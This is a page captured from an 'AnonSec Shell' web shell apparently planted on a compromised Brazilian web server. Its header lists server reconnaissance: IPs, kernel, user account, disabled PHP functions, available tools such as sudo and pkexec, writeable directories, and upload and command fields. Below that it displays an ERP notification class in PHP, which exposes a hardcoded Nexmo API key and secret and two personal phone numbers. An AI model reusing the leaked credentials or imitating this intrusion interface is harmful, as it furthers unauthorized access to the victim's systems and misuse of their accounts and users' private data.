AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/rodeio/application/autoload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/rodeio/application/autoload/Notifications.php
<?php

/**
 * Classe de Notificação de usuários do sistema
 */
class Notifications
{
	/**
	 * Método que fará a verificação de quais usuários deverão receber
	 * a notificação e a forma de envio dessa notificação.
	 *
	 * @param int $id_notification_type tipo de notificação relacionada a ação
	 * @param int $id_user verifica as notificações de um usuário específico
	 * @param string $url url para a página ou registro que gerou a notificação
	 */
	public function verify($id_notification_type, $id_user = null, $url)
	{
		$stmt = ORM::for_table('sys_notifications_types')
			->table_alias('snt')
			->select('snt.module')
			->select('snt.description')
			->select('snu.method')
			->select('su.username')
			->select('su.id', 'id_user')
			->select('su.user_type')
			->select('su.fullname')
			->select('su.phonenumber')
			->join('sys_notifications_users', 'snt.id = snu.id_notification_type', 'snu')
			->join('sys_users', 'snu.id_user = su.id', 'su')
			->where('snt.id', $id_notification_type);

		if($id_user)
			$stmt->where('su.id', $id_user);

		$notifications = $stmt->find_array();

		if(count($notifications) > 0) {
			foreach($notifications as $notif) {
				$method = json_decode($notif['method']);
				if(isset($method->email)) {
					$this->SendMail($notif['username'], $notif['fullname'], $notif['description']);
				}

				if(isset($method->sms)) {
					$this->SendSMS($notif['phonenumber'], $notif['fullname'], $notif['description']);
				}

				if(isset($method->system)) {
					$this->SystemAlert($notif['id_user'], $notif['fullname'], $notif['user_type'], $notif['description'], $url);
				}
			}
		}
	}

	/**
	 * Envia um Email notificando o usuário sobre uma
	 * determinada ação no sistema.
	 */
	public function SendMail($email, $name, $description)
	{
		$body = "<p>Olá {$name},</p>";
		$body .= "<p>Uma nova ação foi efetuada no sistema ERP e requer a sua atenção:</p>";
		$body .= "<p><strong>{$description}</strong></p>";
		$body .= "<p>Clique neste <a href='#'>link</a> para acessar o sistema.</p>";

		$mailer = new Mailer();
		$mailer->loadTemplate()
			->from('contato@lrsys.com.br', 'ERP - LR SYS')
			->to($email, $name)
			->subject($description)
			->body(array(
				'logo' => 'http://erp.lrsys.com.br/application/storage/system/logo.png',
				'title' => 'LR SYS - Sistemas Inteligentes',
				'body' => $body,
				'link' => 'http://www.lrsys.com.br'))
			->sendMail();
	}

	/**
	 * Envia um SMS notificando o usuário sobre uma
	 * determinada ação no sistema.
	 */
	private function SendSMS($phone_number, $fullname, $description)
	{
		if($phone_number != "") {
			$config = array(
				'nexmo_api_key' => '56503aa7',
				'nexmo_api_secret' => '56fcd3b61c59997e'
			);

			$sms = array(
				'to' => $phone_number, // 5543991179493 5548984071889
				'from' => 'ERP LR SYS',
				'text' => $description,
			);

			Sms::send('nexmo', $sms, $config);
		}
	}

	/**
	 * Insere um alerta na tabela de log que ficará
	 * visível no menu de alertas do sistema.
	 */
	private function SystemAlert($user_id, $fullname, $user_type, $description, $url)
	{
		$logs = ORM::for_table('sys_logs')->create();
		$logs->date = date('Y-m-d H:i:s');
		$logs->type = $user_type;
		$logs->description = $description;
		$logs->userid = $user_id;
		$logs->ip = $_SERVER['REMOTE_ADDR'];
		$logs->url = $url;
		$logs->notification_viewed = false;
		$logs->save();
	}
}

Anon7 - 2022
AnonSec Team